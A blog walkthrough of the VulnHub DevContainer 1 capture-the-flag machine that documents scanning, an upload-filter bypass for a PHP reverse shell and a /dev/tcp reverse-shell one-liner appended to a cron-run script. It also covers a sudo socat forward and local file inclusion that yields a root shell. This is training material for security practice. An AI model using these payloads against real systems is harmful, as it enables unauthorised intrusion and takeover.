VulnHub’s DevContainer 1 CTF Walkthrough

assume-breach
7 min readSep 17, 2020

DevContainer 1 is a CTF on Vulnhub. It is categorized as an Easy-Intermediate machine, but if you aren’t too familiar with containers or how they work, then this is probably going to be more on the intermediate side of things.

Going through the CTF I found that there were some problems using VMWare. So, in the middle, I switched to VitualBox and that seemed to fix a lot of the issues I was experiencing.

In this walkthrough, we are going to learn a few things. There is a great example of RCE and a really good chance for us to learn how to get around file upload restrictions using BurpSuite. So let’s get started!

Nmap Scan

user@kali:~$ nmap -sV -A -Pn 192.168.1.217
Starting Nmap 7.80 (
https://nmap.org ) at 2020–09–16 16:05 EDT
Nmap scan report for EC2.attlocal.net (192.168.1.217)
Host is up (0.0054s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.67 seconds
user@kali:~$

Looks like we only have one port open.

Let’s a do a dirb scan and see what we can find.

user@kali:~$ dirb http://192.168.1.217

— — — — — — — — -
DIRB v2.22
By The Dark Raver
— — — — — — — — -

START_TIME: Wed Sep 16 16:26:57 2020
URL_BASE:
http://192.168.1.217/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

— — — — — — — — -

GENERATED WORDS: 4612

— — Scanning URL: http://192.168.1.217/ — —
==> DIRECTORY:
http://192.168.1.217/css/
==> DIRECTORY:
http://192.168.1.217/fonts/
==> DIRECTORY:
http://192.168.1.217/img/
+
http://192.168.1.217/index.html (CODE:200|SIZE:27263)
==> DIRECTORY:
http://192.168.1.217/js/
+
http://192.168.1.217/license (CODE:200|SIZE:11336)
==> DIRECTORY:
http://192.168.1.217/mail/
+
http://192.168.1.217/server-status (CODE:403|SIZE:278)
==> DIRECTORY:
http://192.168.1.217/upload/

— — Entering directory:
http://192.168.1.217/css/ — —

— — Entering directory:
http://192.168.1.217/fonts/ — —

— — Entering directory:
http://192.168.1.217/img/ — —
==> DIRECTORY:
http://192.168.1.217/img/portfolio/

— — Entering directory:
http://192.168.1.217/js/ — —

— — Entering directory:
http://192.168.1.217/mail/ — —

— — Entering directory:
http://192.168.1.217/upload/ — —
==> DIRECTORY:
http://192.168.1.217/upload/files/
+
http://192.168.1.217/upload/index.html (CODE:200|SIZE:903)

— — Entering directory:
http://192.168.1.217/img/portfolio/ — —

— — Entering directory:
http://192.168.1.217/upload/files/ — —

— — — — — — — — -
END_TIME: Wed Sep 16 17:11:57 2020
DOWNLOADED: 41508 — FOUND: 4
user@kali:~$

We have an upload directory! Let’s navigate there and see what we can do.

The upload directory has a few file types allowed. We have jpg, gif, png, zip, txt, xls and doc. It looks like the web app is running PHP but just to be sure, I hit the “Send file” button.

As you can see in the url bar, the address changed to /upload/upload.php. This means that we can try to upload a PHP reverse shell.

There is a PHP reverse shell at /usr/share/webshells/php that you can use. It worked great for me. However, we cannot upload .php files so we’re going to have to get around the restriction. For this, I used Burp Suite.

Start with FireFox and open up the Preferences. Scroll down to the bottom of the page and find the “Settings” button. Change the proxy setting to “Manual proxy configuration.

We need to change the proxy configuration to our loopback address and a port that you’re not using.

On Burp, we’re going to turn the interceptor on under the “Proxy” tab. Then we are going to change the name of our php reverse shell to “php-reverse-shell.php.jpg”. This is going to allow us to get around the upload restrictions.

On the upload page, let’s put our reverse shell into the prompt.

When we hit “Send file” we should see Burp intercept the upload.

Now, before we forward the post request, we need to change the file type of our reverse shell. On line 18, there is a filename line. We need to remove the .JPG extension on the filename.

Now click “Forward” to forward the post. From our dirb scan we saw that there was a /upload/files/ directory so more than likely that’s where our reverse shell is being uploaded to. Let’s turn off Burp, set up a NetCat listener and navigate to our file.

All right, our reverse shell!

Doing a quit id we see that we are www-data. This is pretty common for PHP reverse shells so we’ll have to see what users are on the system.

An /etc/passwd doesn’t give us anything.

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

There’s nothing in the home folder, but since there’s only one port open, let’s check the /var directory for anything interesting.

In /var/www/html there is a Maintenance-Web-Docker directory. Let’s check it out.

There is a script in the directory that is writable named list.sh. When we concatenate it out, we see that’s it’s a bash script writing the out.txt file that we saw in same directory.

The name of the VM is DevContainer and this script is writing out the file to a the home directory of a user named Richard. We can assume that Richard is a user on a container.

Since this is a writable script, let’s see if we can put a reverse shell into it. This one from highoncoffee is pretty good.

echo “0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196” >> list.sh

If you concatenate out.txt you will see that list.sh runs every minute. So all we have to do is set up a NetCat listener and wait for our incoming shell. After a minute or so, it will show up.

Now we are Richard! Let’s grab the user.txt flag!

Let’s go ahead and get a better shell.

python -c ‘import pty; pty.spawn(“/bin/bash”)’

'There is a directory called “HackTools” in Richard’s home folder. Let’s take a look. There are two files: README.txt and socat.

Socat is a pretty well known networking tool. It’s similar to NetCat in a lot of ways. Let’s check out the README.txt file.

richard@EC2:~/HackTools$ cat README.txt
cat README.txt
Richard, it’s annoying to lose bash, try:
( sudo socat […] ) &
richard@EC2:~/HackTools$

Okay, so the file is saying that we can use sudo for socat. Let’s see if there’s anything else we can do with sudo.

richard@EC2:~/HackTools$ sudo -l
sudo -l
Matching Defaults entries for richard on EC2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User richard may run the following commands on EC2:
(ALL) NOPASSWD: /home/richard/HackTools/socat TCP-LISTEN\:8080\,fork
TCP\:127.0.0.1\:90
richard@EC2:~/HackTools$

It gives us a command that we can run. Looks like the command is going to call on our loopback on port 90. Let’s run the command.

sudo -u root /home/richard/HackTools/socat TCP-LISTEN\:8080\,fork TCP\:127.0.0.1\:90

Let’s take a look at what’s running on that port.

ps aux | grep 90

Looks like there is a PHP app. The script forwarded this app to port 8080. Maybe it’s a webpage. Let’s check it out.

We were right! I went ahead and ran dirb and nikto on the url. I didn’t find anything and was kind of stumped. That was until I clicked on the “About Us” page.

The url turns into /index.php?view=. I decided to use my LFI scanner to see if there was anything interesting. Turns out, there was.

Navigating to the site, we see that /etc/passwd is displayed.

You can get this great little LFI scanner here at the git clone.

So now that we have an LFI/RCE exploit working, we can assume that it’s performing this as root. We can use this our advantage and get a reverse root shell.

I set up a NetCat listener and navigated to the file path through the url. Here is the file path for the root shell, I obtained.

http://192.168.1.217:8080/index.php?view=../../../../../../../../../home/richard/web/upload/files/php-reverse-shell.php

After navigating to the root folder, I was able to find the final flag.

All in all, this was a great little CTF. It threw a few curveballs at me, but not too bad. If you enjoyed this or have any questions, give me a shout on Twitter @assume_breach

Until next time!

--

--

assume-breach

Security enthusiast that loves a good CTF! OSCP, CRTO, RHCSA, MCSA.